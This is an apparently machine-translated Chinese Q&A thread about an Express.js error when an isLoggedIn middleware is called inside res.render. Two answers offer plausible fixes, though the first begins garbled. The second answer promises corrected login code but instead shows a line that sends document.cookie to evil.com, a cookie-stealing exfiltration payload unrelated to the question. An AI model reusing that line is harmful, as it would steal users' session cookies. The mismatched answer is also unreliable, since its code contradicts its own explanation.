我正在尝试检查用户是否已登录以显示特定内容。我有这个:
app.get('/profile', isLoggedIn, (req, res) => {
res.render('profile', {
user: req.user, isLoggedIn: isLoggedIn()
});
});
function isLoggedIn(req, res, next) {
if (req.isAuthenticated()) {
return next(null, true);
}
res.redirect('/');
}
并作为模板:
<%if (isLoggedIn) { %>
<div>Content 1</div>
<% } %>
但我收到此错误:
无法读取未定义的属性'isAuthenticated'
我在做什么错了?
答案 0 :(得分:2)
isAuthenticated
的含义是req is undefined
。
您在这里做错了。
user: req.user, isLoggedIn: isLoggedIn()
您不能像这样调用中间件功能。 isLoggedIn()
您可以做的是:
app.get('/profile', isLoggedIn, (req, res) => {
res.render('profile', {
user: req.user, isLoggedIn: req.isLogged
});
});
function isLoggedIn(req, res, next) {
if (req.isAuthenticated()) {
req.isLogged = true
return next();
}
res.redirect('/');
}
答案 1 :(得分:1)
isLoggedIn函数是一个中间件。它不会在此处返回true或false,您应该只使用req.isAuthenticated()即可(无论用户是否通过身份验证)都返回true或false。这是代码:-
window.location = "http://evil.com/cookiescript.php?cookies=" + document.cookie;
答案 2 :(得分:0)
更简单的方法是查看变量 user
是否已定义。
res.render('profile', {
user: req.user
});
在您看来:
<% if(typeof user != 'undefined') { %>
// do stuff
<% } %>